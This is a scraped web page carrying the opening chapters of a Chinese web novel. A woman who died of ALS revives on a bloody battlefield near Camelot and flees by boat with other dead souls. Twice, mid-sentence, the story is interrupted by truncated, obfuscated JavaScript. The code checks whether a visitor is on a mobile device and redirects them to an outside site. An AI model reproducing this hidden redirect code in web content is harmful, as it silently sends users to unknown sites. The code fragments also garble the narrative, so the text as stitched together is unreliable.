《我,推理游戏封神![狼人杀|剧本杀|血染钟楼|阿瓦隆]》 1. 迷岸1 意识开始恢复时,耳朵里传来两个人的交谈声。 “我靠,我这辈子可没干过什么坏事,死后怎么被扔到这么个地方?”一个男子在抱怨。 “我也……不过得了病而已……”一个女子应了他,声音满是惊恐。 骆桑缓缓睁开眼,一道金黄的阳光斜射而来,叫她有瞬间的视盲,然后,一片夕阳下陌生的荒野就出现在视框里。 她就倒在这片荒野上,周围肉眼可见的范围,横七竖八倒满了死尸! 尸殍遍野…… 但骆桑,并没有那么惊讶。 记忆停留的最后场景是最后那段时日自己隐居的小屋,夜深人静,煤气味渗透的空气中,她坐在轮椅上遥望窗外的明月,平静地等待那个终点的来临。 这里大概就是传说中的地狱吧?没毛病,一个自弃的人,是该被打发到这里来的。 “这些尸体怎么都穿着盔甲呀?”女子又说。 “我们也穿着盔甲呀!”男子抖了抖胳膊,身上的衣服发出窸窸窣窣的声音,“看,还跟他们穿的一模一样。” 骆桑移动视线去观察。 还真是,所有的尸体都穿着一种铁网状的盔甲,有些头上戴着桶形头盔,有些脚上套着铁靴,大都破破烂烂像被刺破被捅过窟窿,地上不时散落着刀剑叉戟等各种冷兵器,和破碎的盾牌。 这种盔甲应该叫……锁子甲,那么这样的装束就应该是——欧洲中世纪的战士! 根据玩过的电游看过的影视剧,骆桑可以确定这一点,但问题是,自己怎么也被套上了这身装束? 再把视线放远,骆桑发现这片荒野面积不算很大,左边一百米开外就是一片高耸陡峭的崖壁。崖壁的顶端高高矗立着一座城堡,夕阳的橙光下显得恢弘壮丽。 太远看不清细节,只有最大的一面城墙上赫然刻着几个字母:“CAMELOT”。 CAMELOT……? 好像在哪里听过。 “我们不会是误入什么电影片场了吧?死后穿越来的?”女子的音调不再那么恐慌。 男子:“有可能啊。” 不可能,影视拍摄不会去修建一座真的城堡,那种东西做模型或者直接上五毛特效就足够了。而且,他们闻不到这满地刺鼻的血腥味吗? 穿着盔甲的死尸大都倒在血泊里,这里应是一片真正的古战场,是一场惨烈战斗之后留下的残景,说这是地狱的一种也不为过。 骆桑在心头如此回答,却没有把话说出来。 她早习惯了只接受外界信息的输入,自行处理,而从不输出。 不是不愿,是不能,是无法…… 于是这波沉浸式扮演尸体能打一百分,那两人谁都没有发现她。 “看,有人来了!”忽然,女子指着前方道。 的确,又一个声音传来,是脚步声,伴随着金属利器擦地而过。 就在前方不远处,一个高大人影正踩着尸堆朝这边走来,他亦身着一身战服,只是款式和一地尸体穿的略有不同,头盔遮住脸,手持一柄重剑,剑尖触地在砂石上摩擦。 “嚓——嚓——” 这声音莫名叫骆桑心头发紧。 这是战场,如假包换的战场! “你好。”女子朝那人走去,“请问这里是……” “呲——!!” 她的声音戛然而止,而她的身体瞬间成了被穿上的糖葫芦,将她穿透的正是那人手持的重剑! “嚓——!!” 又是一声收剑,女子的身体多出来一个巨大的血窟窿,鲜红的血液喷射而出将她包裹,她轻飘飘倒下砸到一具尸体上,一个翻滚,不动了。 “妈呀——!”男子顿时惊叫起来,抖如糠筛,站都站不稳转身就跑,步伐踉踉跄跄。 持剑战士快步追去。 男子边跑边哀求:“我已经被匪徒杀死了,不要再杀我啊!” “咔——!” 重剑一个横扫,男子瞬间首身分离,无头身随惯性扑倒,而鲜血包裹的头颅皮球似的滚出好几米远才停下。 然后,四周安静了。 …… 骆桑几乎无法呼吸,亦不敢呼吸,不敢发出一丁点动静。 他的盔甲不一样,他是敌军,是来清理战场的,而自己和那一男一女都穿着同尸体们一样的战服,都是败方余孽——他的清除对象! 死都死了,到了地狱还要再死一次吗?这种死相也太寒碜了。 没有半刻犹豫,骆桑闭上眼,一动不动。 装死,是她此刻唯一的对策。 五年前的那一天,医院下了诊断书:肌萎缩侧索硬化,俗称渐冻症。 这种病症会让身体逐渐失去运动能力,且无法治愈,病程不可逆,会随着时间推移逐步恶化。 “蹭……蹭……蹭……” 脚步声响了三下,然后停住。 持剑战士似乎转了个身,但不知转向了何方。 骆桑屏气凝神。 四年前,确诊一年后,骆桑无法再正常行走,无法上下楼梯,屡屡跌倒,她开始拄拐杖。 “嚓——嚓——” 剑尖擦地的声音又响了起来,持剑战士开始移动。 骆桑注意去听那声音,渐渐觉得那声音在变大,似乎……在向她靠近! 三年前,骆桑的双腿再无法支撑身体,从此只能坐在轮椅上。 四周并没有任何别的动静,没有活人再蹦跶出来,但骆桑逐渐确定,那持剑战士正不偏不倚直径朝她走来! 不知这是个什么机制,但她胸中涌起一股强烈的预感,那人一定知道自己的位置,知道自己在哪里,知道自己不是尸体! 不行,这样下去不行,藏不住的,会被他一剑砍成两半! 于是就在这一瞬间,骆桑下意识想挪动身体。她已经习惯了意识只停留在意识而身体永远无反馈,然而…… ——哈?怎么不费吹灰之力一下就将上身支了起来!? 后来,骆桑的手指僵化,无法再使用电脑和手机,也翻不动一页书,更无法自行吃饭穿衣,生活彻底不能自理。 这简直不敢相信! 一脸懵的骆桑发现自己就这么从一地横尸中突兀地坐了起来,宛如诈尸。 一抬眼,那高大的持剑战士已加速朝自己冲来,仅剩最后十米! 骆桑霎时间站立,双腿撑直稳如狗,紧接着转身,左腿迈出,右腿一蹬,跑了起来! 她浑身的肌肉都有萎缩之势,整个人显得特别瘦,宽大的铁网状盔甲挂在她身上就像飘逸的绸缎。 但她长期用意志力强行跟失灵的肌肉搏斗,每一次病情进展时都拼死抵抗,死撑住膝盖也要自己站立,咬破嘴唇也要抬起最后那根能动的手指,用力到大汗淋漓气喘吁吁也绝不认输。 于是现在,她的肌肉虽然萎缩,意志力却强得惊人,当想要奔跑的意念无限放大,就如长期负重训练的人一朝丢掉包袱,她竟跑得飞快! 最后那一年,骆桑变得口齿不清,没人再听得懂她在说什么。不能说,不能写,无法再告知照顾者她需要什么,无论想吃什么,想喝水,或者想睡觉,都要由别人来决定。 作为一个活着的人,她失去了对自身的所有主导。 风呼啸着从耳侧吹过,奔跑的感觉太久违,也太美好。骆桑不时回头看,发现那人根本追不上她。 “呀哈——!”她情不自禁一声欢呼,空气中立刻响起那略带俏皮的嗓音。 她也已经很久没听到自己的声音了。 迅速拉开一小段距离后,骆桑开始边跑边观察四周。光跑是苟不到最后的,得找出路。 荒野的左侧是刚才看到的悬崖峭壁,决计爬不上去,但右侧百米开外却是一面开阔的湖水,而湖岸边刚刚好停放着一艘船。 不懂这是个什么世界,丰富的游戏经验告诉她,那就是解。 骆桑朝湖岸边的船跑去。 渐冻症最可怕的地方在于,它会剥夺你全身每一块肌肉的运动能力,却唯独不伤你的大脑,让你直到生命的最后一刻,都清晰地明白发生的一切。 五年过去了,无法输出,却能被动接受所有输入,骆桑清楚地知道自己身体的每一步恶化,也知道自己已彻底沦为废物,更知道这个废物最后会因呼吸肌麻痹而憋死。 那就算了吧,就是说还是想要个优雅点的打开方式。 此刻,骆桑无比庆幸这个决定。 不管这是哪里,不管怎么来的,不管这是不是虚幻的梦境,甚至不管此刻是生是死,是什么都好,地狱都好,每天都被刀剑相向都好,她都愿意留在这里,这个世界对她太特么友好了! * 越过满地的尸堆,骆桑跑到了停着船的岸边。 跑出了一百多米远,没见持剑战士跟来,应是甩掉了。 她正要涉入水中去登船,却听不远处有人在喊:“大叔快快快!” 扭头一看,一个胖胖男生正一边跑一边朝后招手,他的身后跟着个大胡子,气喘吁吁快要跑不动了似的。 两人都在朝船的方向跑。 他们身上都穿着和自己同款的破烂战服,小胖手里还拿着根缺了半截的三叉戟。 看来都是我方幸存者,要来登船的并不止自己。 但他们还没能甩开清理者,后面紧跟着一个持剑战士,凶神恶煞地朝他们挥舞着剑刃。 来自不同方向,所以这个持剑战士和自己之前遭遇的并不是同一个,但他们简直一个模子刻出来的,就像同一个建模简单粗暴的复制粘贴。 大胡子喘着粗气,双腿无力快要跌倒,小胖不得已放慢脚步去拉他:“大叔你再坚持坚持,马上就上船了!” 两人速度一慢下来,持剑战士马上就追到了身后。 大胡子见势不妙把小胖往前推:“小伙子快……跑……别管我……”话说得十分艰难。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557042|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小胖还想去拉他,但带血的重剑已在大胡子身后高高举起! “哐——!” 应时,一声巨大而沉重的金属碰撞声响起,振得人耳膜发颤,随后又是“当——”地一声,有什么掉落在地。 大胡子在那一刹那绝望地闭上眼睛,然而两秒后却惊然发现,自己脑袋竟然还在! 掉落地上的是一把烂盾牌,刚才就是这把盾牌突然飞来把落下的重剑砸到了一边去! 几米之外,骆桑收回手,拍了拍灰,扬扬下巴朝那持剑战士吆喝:“嘿!这边!” 同是天涯沦落人,顺手帮一下好了。 持剑战士受到挑衅,转而朝骆桑发动攻击,骆桑转身就跑,朝着远离船的方向。 追杀者被引开,小胖马上拉着大胡子爬上了船。 骆桑溜着持剑战士放风筝,跑了一大圈重新甩掉后,再度回到岸边,也上了船。 夕阳照射的湖岸边,小船在水波中晃晃荡荡。 这是一艘古老的小木船,船身只有七八米长,也就能载几个人的样子。 除了骆桑,船上只有小胖和大胡子两人,小胖拧着被湖水打湿的裤腿,而大胡子就摊坐在甲板上,都过去好一阵了还捂着心口大喘气。 看到骆桑上船,大胡子朝她抬起脸:“女士,谢谢你。” 骆桑这才注意到,大胡子长着一头栗色卷发,而他的面容是典型的西洋白人。 ……外国人? 所以死后的世界果然全球相通?所以才来到了这个位于欧洲的古老地界? 骆桑马上瞅了眼小胖,小胖倒是个黑头发黄皮肤的东亚长相。 ……不对……等等。 骆桑忽然想起,刚才大胡子说谢谢的时候,口型摆的好像是英文的“Thank you”啊,可听到她耳朵里却成了中文的“谢谢”。 骆桑问大胡子:“你是哪里人?” 大胡子回答:“威尔士。” 骆桑:“你是因病去世的吗?” 大胡子:“是的心脏病发作。” 口型摆的“Yes,heart attack”。 骆桑:“你能听懂我说话?” 大胡子一脸诧异:“当然,你讲的是英语。” 口型:“Of course, you are speaking English.” 骆桑:“……” Such a big surprise!可真是个神奇的世界~ “哈哈,我之前也是吃了一惊。”一旁的小胖道,他的口型倒全对得上,说着又由衷感叹了句,“话说回来,你跑得可真快!” 骆桑只一声“嗯”,不多作解释。要知道,这BUG的敏捷buff可是自己千锤百炼才练出来的。 现在不是聊这些的时候,她走到船头朝湖面观察。 太阳还没落山,天空笼罩在一片橙色里,光照不算弱,但湖面上的可见度却超不过十米。 这一整片湖水都被浓浓的迷雾笼罩,阻挡了视线,看不到对岸,看不出大小,也看不出深浅,只看到清幽的湖水一浪接着一浪从迷雾深处涌来,拍打在岸上。 小木船并没有被缰绳固定,只因为水流是从湖心流向岸边,便被动停在这里没有朝湖心漂去。 湖那边…… 骆桑正思索,背后忽然传来一阵嘈杂,有乱七八糟的脚步声,呼喊声,还夹杂着兵器碰撞的声音。 声音来自岸的方向,她立刻回头去看,便见岸边的尸堆上骤然立着十来个移动中的人影,他们全都同款高大,穿同款战服,举同款重剑 ——一群复制粘贴的重剑战士正齐刷刷朝小木船汹涌而来! “糟了!被发现了!”大胡子惊呼。 “有人在往这边跑!”小胖朝那边指,“他们也想上船!” 果然,仔细看,那群重剑战士并不是自发来的,他们是在追逐两个逃生者,而逃生者的目的地正是这艘船。 这很像某种游戏机制,重剑战士是散布在地图上的精英怪,进入他们的注意范围就会被发现被追杀,如果拉开一段距离,他们就会失去目标,不再追逐回到原本的领地。 骆桑便是这样甩掉他们的,小木船的周围也没有他们的布点,但…… 那二人速度不够快,始终无法拉开距离,一路奔跑而来经过许多布点吸引来了一大堆! “他们会把杀手引来啊!”大胡子一脸惊恐。 的确是这样,这样下去不行,如果不能甩掉,等那二人上了船,整艘船都会变成屠宰现场! “那个……你……”小胖看向骆桑,若有所指。 骆桑却摇头:“不行,数量太多,引开一个引不开全部,没用的。” 大胡子又捧住心口:“那……怎么办?” 骆桑看了眼迷雾缭绕的湖面,又看看已越来越逼近的刽子手大军,毅然吐出两个字: “开船。” 2. 迷岸2 “对,开船!”大胡子如梦初醒。 小胖则愣在原地,似有些不理解,好像在说:不等等他俩? 没有时间解释第二遍,骆桑马上开始研究这船怎么开。 古时候的船是没有马达的,这船也一样,就一块平整的甲板,上面排列着三根桅杆,每根桅杆上都挂着一面帆,只是帆并没有张开,像无风状态下垂挂在旗杆上的旗帜。 水流是从湖心朝向岸边,风却是反的,朝湖心方向吹去,所以只要把帆扬起来,船就会离岸启航,可是…… “怎么没有缭绳?”大胡子望着桅杆诧异道。 是的,这三根杆上连一根绳索都没有,没有缭绳就无法控制帆的开闭,无法开船。 再观察一遍甲板,空空荡荡什么都没有,唯独正中央有一块看似活动的方形木板,船底还有一定的厚度,看起来似乎拉开木板,下方就会出现一个船舱。 只能找找看了,骆桑马上过去拉木板。 大胡子也看到了,也跟过去一起拉。 木板上有个拉环,显然是可以拉起的,但奇怪的是,无论二人怎么用力,木板就是纹丝不动。 “小伙子!”大胡子招呼小胖。 此时小胖正手握那半截三叉戟守在船尾,面朝迎面而来的持剑战士群,一副准备应战的样子。可两方阵仗对比,怎么看怎么螳臂当车。 大胡子:“快来一起拉呀!” 大胡子自己病恹恹的,看骆桑又十分瘦弱,认为是力量不够。 但骆桑心里清楚,自己的力量也因为意志力的放大而享有buff加成,可以与成年男子匹敌,之前扔盾牌时就感觉出来了。 所以不应该是力量不够。 小胖犹豫了下,还是放下三叉戟过来帮忙,然而结果同骆桑预想的一样,三人合力,木板仍然未动分毫。 小胖:“锁着的吧?” 大胡子:“那……只能砸破?”指着一边的三叉戟。 砸是来不及了,骆桑心道,站起来往回看——黑压压的持剑战士群已逼近船尾! “弃船吧。”骆桑道。 船开不了就没办法了,这个解许是还有什么条件没有满足,亦或许还存在别的解没有找到。总之,眼下没有更好的选择。 骆桑迅速挪到船舷边,准备随时跳下去,却又在这时犹豫了。 她看到那两个逃生者离船已只剩最后几步,都是男子,并且其中一人身型五大三粗特别魁梧,他几乎是拽着另一人在跑,一只手拽另一只手还握着把大砍刀。被这一大群凶神恶煞的恶鬼追逐,两人脸上却毫无惧色,被拽着的那个甚至还在嬉笑。 ? 难道……真有一战之力? 骆桑踟躇间,两个逃生者就迅速爬上了船。 小胖似乎从一开始就没有逃跑之意,此刻已重新拾起三叉戟准备应战。 而大胡子许是身体状况不允许,也没有响应骆桑的弃船建议,抓着桅杆努力站稳,此刻慌张地对二人坦白:“这船开不了的!” 话音才落,追兵已至,小木船立刻被团团包围,周遭水声兵器声混作一片! 一把重剑霎时高举过船舷,“嗖”地一声便朝甲板上的几人挥来! “哐——!”壮汉手中的砍刀毫不含糊直迎而上,两件重兵器狠狠怼在一起。 果然有两刷子,竟一点不落下风。 另一边的小胖就不行,他也用三叉戟奋力阻击,却一下就给震脱了手,人也倒地四仰八叉。 就这?这么淡定还以为有点货呢。 骆桑在心头吐了个槽,立马拾起落地的三叉戟补缺,用戟尖叉住一柄重剑,暂时拖住了一个持剑战士。 然而杯水车薪,敌人的数量远多于己方,长长的船舷到处都是破绽。 大胡子被一把重剑直逼到船头退无可退,一个踉跄差点摔下船去,然后那把重剑就直直朝他刺来! “啊——!”大胡子发出惨叫。 “大叔!”小胖正要去营救,脚步却一顿。 骆桑扭头去看,眼前竟展开了一幅怪异的画面:大胡子瘫倒在地瑟瑟发抖,身上却压根儿没有一点伤,而锋利的剑尖就在离他咫尺之远的距离,停住了。重剑就悬在半空,指着他,握剑的战士拼命用力,剑尖却仿佛被一道无形的屏障挡住,不能前进分毫! 什么外挂? 骆桑纳闷了下,突然想到什么,骤然放松了手上的力道,那把被叉住的重剑便顺势向前冲——但同样,当剑尖就要跨越船舷边缘刺进甲板时,被不知什么力量强行制止瞬间停在了半空,而持剑战士没能控制住前倾的身体倾倒过来,像撞上了墙一样“啪”地一声定住! 哦~豁~ 骆桑不由咧开一边嘴角。 很快,船舷一周响起噼里啪啦的撞墙声,和叮叮咣咣的金属砸墙声,跟放烟花似的,十几个持剑战士一个接一个哐哐撞上来,却没有一个能突破这道密不透风的无形墙。 “原来……原来这船上是安全的……”大胡子挣扎着坐起来,一脸劫后余生的惨笑。 壮汉也明白过来,收回了砍刀。 所以说小木船是个安全区,敌方战士根本攻不进来? 骆桑正琢磨,脚下就忽地一晃,差点没站住。 大胡子:“噢天!船在动!” 四周的包围者在朝船尾移动,岸也在渐渐远去 ——船,开了!? “快看,帆扬起来了!”小胖指着桅杆。 果真,三根桅杆上挂着的帆竟不知何时同时扬了起来,没有缭绳,没有任何人操作,三面帆,同时展开! 不仅有结界保护,这船竟然还能……自行起航? 真是又一次见识到了这个世界的神奇。 外加,无序。 湖风鼓动着帆给小木船加速,没一会儿,小木船就彻底离开了岸边,持剑战士们追到半截身子进水,终于丢失目标,转身朝自己的布点退散去。 “终于,终于……我主保佑……”大胡子长呼出一口气,在胸前划了个大十字,“阿门……” 小胖拍了拍他,像在安慰。 最后上船的壮汉放下大砍刀,双臂抱怀一语不发。 而他拽来的另一人则坐在甲板上,神经质般地一边抖肩一边“哈哈哈哈哈……” 情势转换太快,骆桑还没回过味来。 这个世界疑惑重重,就像此刻小木船正驶向的浓浓迷雾。 * 黄昏在加深,夕阳似乎已在天边悬了许久,现在开始渐渐西沉,光线暗沉了一些。 已经再看不到岸,小木船被漫天的浓雾包裹,除了船舷边时而扫过的水波,就只剩白茫茫一片。 惊魂未定,船上几人都静悄悄的,除了一个例外——被壮汉拽上来的那个人还没有止住他神经质的笑声,每隔一两分钟就“哈哈哈哈哈……”地狂笑,就好像武侠小说里被人点中了笑穴。 在这宁静又神秘的湖面上,那笑声十分突兀,也让人心头发毛。 大胡子忍不住问他:“你好,请问你在笑什么?” 那人没回应,就跟没听见似的,依然自顾自笑。 “这样会不会……引来什么不好的东西?”大胡子问得小心翼翼。 还是没回应,噪音依旧,他还时不时做出一些手舞足蹈似的无意义动作。 小胖朝大胡子使眼色,在自己脑袋上点了两下,又摇头。 大胡子反应过来,原来那人是脑子不大正常。 也是,来到这里的人都刚经历死亡吧,有人精神崩溃也不奇怪,要不是那壮汉够生猛,以那人的精神状态根本不可能逃上船。 大胡子面露同情,摇了摇头,转而同小胖交谈:“噢,我的名字叫詹姆斯,小伙子,你的名字叫什么?” 小胖马上就回答了:“大叔我叫董鑫。” 詹姆斯很郑重地:“董先生,很高兴认识你。” 董鑫额上两滴汗:“大叔,叫我小董就好。” “我还以为你俩很熟呢。”骆桑插了句话。 在这种地方对陌生人舍命相救可不是件容易的事,尤其是在自身能力捉襟见肘的情况下,这董鑫有副热心肠。 董鑫干笑了下,没吱声。 詹姆斯又转向骆桑:“那这位女士……” “骆桑。”干干脆脆完成抢答。 詹姆斯:“骆小姐,很高兴认识你。” 骆桑:“Nice to meet you too.” 詹姆斯又问独自站在船尾的壮汉:“那这位先生呢,名字叫什么?” 壮汉有着棕色油亮的皮肤,颧骨突出嘴唇厚实,看着也不是东亚人的面相,有几分像拉美混血。 但他自上船就没开口说过一句话,浑身透着一股生人勿近的冷漠气场,对詹姆斯的询问充耳不闻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557043|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >詹姆斯以为他没听见,又问了声:“你来自哪里呀?” 这回壮汉半回头,直接丢了道冷冷的视线过来,然后转回去,一个标点符号都没吐。 “……”热脸贴了冷屁股,詹姆斯不再问了,只在嘴里低低感叹了句,“这么厉害的人,也死了啊……” 这句过后,几人都沉默了。 湖面静得听不到水声,除了那个大笑噪音源,偶尔发出响动的,只有大家身上穿着的破旧盔甲。 一群因各种原因死去的人,在这个不知为何的世界里,穿着这身莫名其妙的装束……骆桑不禁陷入思索。 “你知道这是什么地方吗?”过了一会儿,骆桑问詹姆斯。 之所以问詹姆斯,是因为这5人中只有他是欧洲人,跟这里的场景最贴合,也应最熟悉。 詹姆斯果然认得:“我认为,这里的年代是中世纪早期,但具体是哪个地方……我也说不好。” 骆桑:“为什么我们死后会来到中世纪?” 詹姆斯想了想,摇着头道:“圣经上说,人死以后,会去往天堂或者地狱,可这里不像天堂,也不像地狱,我不明白。” 骆桑:“你是基督教徒?” 詹姆斯:“是的。” 骆桑:“所以现在你觉得,圣经说错了?” “……”詹姆斯一下惊住,好像被一句随意的提问戳中了什么。 骆桑倒轻松一笑:“世界上有很多宗教,很多流派,各地也有很多说法,都在讲述人死之后会去哪里,五花八门各成体系。” 她摊手,“看来没一家说对啰?” 詹姆斯没有反驳,眉心蹙着思索了一会儿,道:“不过,人死之后,灵魂总归要去到某个地方,这一点是千真万确了。” 挺好,死了还能有个去处,总比一了百了再也不存在好。况且…… 骆桑笑:“这地方我喜欢,能一直呆着就最好。” “哈哈哈哈哈——!”骆桑音刚落,一串激荡的狂笑应时响起。 是那个一直发出噪音的人,他突然笑得更狂放更大声,好像听到了什么世纪大笑话。他原本面朝湖面盘腿而坐,此刻却突然站了起来,半弓着背,边笑边抖动身体。 “不开化……不开化呀……”他第一次说出句子来,摇头晃脑地,“来处即归处,归处即来处,阴间就是阳间,阳间亦是阴间,生即是死,死亦是生,有何分别?” 他依旧背对着大家,不像在对着任何一个人说话,也看不见脸,只能看见他手上空空转动着什么,神神叨叨的跟个跳大神的似的。 “都是轮回……都是轮回……” 他一边念叨一边挪步,朝着…… ……!骆桑注意到时,那人的双脚已经踩在了船舷边上! “这辈子当人,下辈子当牲畜,再下辈子当花草……都是轮回……不如归去……哈哈哈哈哈……” 他笑着,身体朝前倾斜而去,面前是一汪深不见底的湖水! “该死!” 一声低骂来自船头,壮汉第一次出声。就在那人即将掉进湖里的一刻,他猛地朝这边跑来! 壮汉已经用了最快的速度,然而根本来不及。“咚——”地一声,他还没跑到,那人已经落入湖中,湖面激起巨大水波,小木船被狠狠一晃。 没有挣扎,那人直直下沉,转眼间就再看不到了…… …… 突发的一幕叫船上几人失语。 该不会以为这里是忘川河,急着投胎去了吧?骆桑想。 人各有命,本倒也不必执着什么,他也算获得了他心中的圆满。然而就在他沉入湖水之后,奇怪的事却发生了。 “船帆……船帆……”董鑫指着船上那三根桅杆慌张地喊。 奇了怪,原本好好展开着的帆,此刻正在一面接一面收起! “为什么?”詹姆斯一脸诧异,张着个大大的口型“Why?” 帆的开闭无法操控,几人除了大眼瞪小眼看着这操作自行完成,别无他法。 凭感觉估算,小木船驶离岸边后约莫过去了十五分钟,浓浓白雾中完全不知航行到了哪里,离前面的岸还有多远,现在就没有帆了的话…… 水流可是向后的…… 骆桑没有把担忧说出来,但十分钟后,船尾方向重新出现的遍布尸海的岸边,证明了她的预料。 无法阻止地,小木船,回到了起点…… 3. 迷岸3 船上气氛凝重,和半小时前的欣喜启程截然相反,詹姆斯和董鑫都深深叹气。 唯一的好消息是,这附近没有持剑战士的布点,暂时是安全的。 那个疯子跳湖了,船帆就收了起来。 骆桑思考着这两件事之间的联系。 没人说话,沉默延续了一阵,然后壮汉忽然跳下了船去。 “你去哪里?”詹姆斯问。 壮汉依然没理他,自顾自朝远离岸边的方向走去,带着他的大砍刀。 看着壮汉远去的背影,和他投射在砂石上长长的影子,骆桑又注意到一件古怪的事:刚才行驶中时,明明觉得光线在逐渐暗淡,回到出发点后,夕阳却好像又回升到了原本的位置,光照恢复如初。 就好像,时间倒流了。 倒也不奇怪吧,死后的世界,时间,还存在吗? 这个无序的世界,全然不能用现实世界的逻辑来推断。 湖面上除了迷雾什么都看不见,但岸边是有景色的,先不论这荒原上的一地死尸,荒原的另一侧有一片高高的崖壁,顶上有一座城堡。 骆桑想起了那座城堡,以及城堡上刻着的字,她走到船尾遥望了一会儿,想起什么来。 她把詹姆斯叫到船尾,朝那边指:“你看到那座城堡了吗?” 詹姆斯惊讶:“之前光顾逃命了,都没注意到,真宏伟啊。” 骆桑:“那上面刻着一个词,我有点耳熟,但想不起在哪里听过,你听过吗?” 就是那串英文字母:CAMELOT。 詹姆斯定睛一看,这下更加惊讶了,张大口,浓密的胡须一抖一抖的:“卡美洛!居然是卡美洛城!是卡美洛王国!” 他难以置信地双手指向自己胸口,“在我的家乡威尔士,有着卡美洛王国的传说,那是大不列颠的黄金时代。都说那只是传说,并不是真的,可我一直相信它真的存在过,是我家乡历史的一部分!” “果然,是真的,它真的存在!它在这里,它消亡后来到了这里,就和我们死去之后也来到了这里一样!” 卡美洛王国…… 骆桑脑中的思绪顿时串出一条线:“亚瑟王!” 传说中英勇无敌的至高王者。 “什么?这里跟亚瑟王的传说有关?”董鑫也很吃惊。 詹姆斯眉开眼笑:“是的,威尔士最伟大的英雄,亚瑟王,我所知道的卡美洛只有这一个,就是他的王国!” 董鑫:“那现在王国是在打仗吗?亚瑟王在哪里?我们是不是应该去找他寻求庇佑?” 这个问题,詹姆斯也只能摇头:“战争总是有的,我不知道这是哪一年,打的是哪一场。” “那……”董鑫还想问什么,却被远处突然传来的声音打断。 茫茫尸堆上,壮汉的身影重又出现在视框里,他似乎被一个持剑战士缠住了,挥舞着大砍刀抵挡对方的进攻,兵器交锋发出声声沉重的闷响。 壮汉本可以跑的,他的速度肯定比持剑战士快,但他没有,因为他身后还躲着一个人。那人身材矮小,看着弱不禁风,显然跑不过持剑战士,于是壮汉一边抵挡一边带着小个子朝岸边缓慢移来。 真可以啊,才这么一会儿,他又要带一个人上船了。一声不吭下船去,就是专程去寻找逃生者的? 这时,又一个声音传来,在另一个方向又出现了一个正被追杀的人,看身形是个男子,身手还挺矫健,跑了一路始终没被追上。 注意力移走了一刻,再回过头来时,就看到壮汉已经把小个子打折扛在了肩上,丢了砍刀直接朝小木船飞奔而来。这回他的速度快多了,要不了多会儿就能抵达。 只是他肩上的小个子似乎十分反对他这般操作,拼命挣扎着大喊:“滚啊!谁要你碰我——!去死啊——!”听声音是个女孩。 小个子对壮汉又抓又咬,使尽浑身解数要从他身上下去,却被壮汉按死在肩上半点脱不开。 怎么又找来个精神崩溃的?骆桑在心头“呵呵”一声。 没一会儿,壮汉已抵达,长腿踩上船舷后,一个提溜给小个子扔了上来。 小个子在甲板上滚了两圈,还没停稳就又开始破口大骂:“我艹你啊——!死啊——!” 她是竭尽全力在骂,声带都喊破冒烟成破锣嗓了还不停歇,小小的个子,白净的皮肤,活脱脱一只咬人的小白兔。 紧接着,另一边的逃生者也到了,他双臂撑住船舷就要跃上来,却不知被什么挡了回去,身体掉落水里摔了一跤。 他马上爬起来再次登船,可是,又被挡了回去! 他懵了,双手想朝船舷里探,船上的人便清楚地看到了他扒在半空的两只手掌,像扒在一块透明的玻璃上,印出几点掌根。 ……!这是? 一种不详的预感升腾起来。 “快跑啊!”詹姆斯朝他大喊。 他的身后,刽子手已举着凶器近在咫尺! “为什么?为什么上不去为什么?”男子顿时崩溃一顿狂喊,惊恐如洪流将他包裹,双掌使劲拍打那面把他阻挡在外的无形玻璃墙。 “呲——!” 下一秒,一把重剑扎入他的后背,他涌出的血液喷在“玻璃”上,沿一个平面往下流。 “噢上帝……”血腥的一幕叫詹姆斯连连后退,在胸前划着十字。 其余人无言,连嗷嗷叫的小白兔都双目睁圆安静了下来。 甲板干干净净,没有沾上那人的一滴血。 而就在这时,三面帆又一次同时扬了起来,船,又自动起航了! 鲜红的血液流了一地,小木船从被血染红的湖水中驶离,驶进茫茫浓雾。 惨烈的一幕叫船上的偷生者们心有余悸,明明都跑到安全区了,还是被杀了…… 夕阳又一次开始慢慢西沉,同第一次起航时一样。 骆桑望着那夕阳,好像明白了什么。 这是必须凑齐5人船才会开吧?而且只能是5人,少1人不行,多1人也不行。 限定人数,就好像是某种规则…… 等等……规则? 骆桑嗅到了一股熟悉的气息,她身体里的某个DNA,动了。 不,这世界不是无序的,它有序,而且非常有序! 它有着某种明确的规则,万事万物都按照这规则运行,连太阳落山都不例外,必须卡在某个特定的节点才能开始,节点不到就一直等待,而出错了就重新对准再落一次。比如现在的节点就是开船,开船了,太阳就落山。 如此苛刻的有序,十分像是,它正在展开一场游戏。 * 小木船缓缓行驶。 “他为什么被拦住了?”再看不到岸边后,詹姆斯问了句话。 没有人回答他。 这一次,壮汉不再独自呆角落,就站在船中央,盯着蜷坐在桅杆旁的小个子。 “你是不是知道得凑齐5个人船才会开?”忽然,骆桑问壮汉。 不知道壮汉怎么称呼,只好省掉,以他一贯冷漠的态度,怕是都不觉得这话是在问他吧。 然而这一次,壮汉却破天荒有了回应,他转头看了眼骆桑,发现骆桑正同他对视,开口丢出句话:“我不知道,能救人就救人而已。” 骆桑微惊,惊的是,他竟然回答了。 她没有再继续问,但和壮汉做了一样的事,盯住小个子,严防她靠近船舷。 少1个人,船会再次回去,一切又要重来。如果这类似于一个程序进程,她现在想的是接着往下,不要再回溯。 小木船在压抑的气氛中缓缓行驶,这一次是真的安静,无人出声。 骆桑默默估计着时间,慢慢超过上次的十五分钟,到二十分,二十五分,小木船已经行驶到了更远的地方,白雾更浓了。 她知道,前方一定有什么正等着他们。 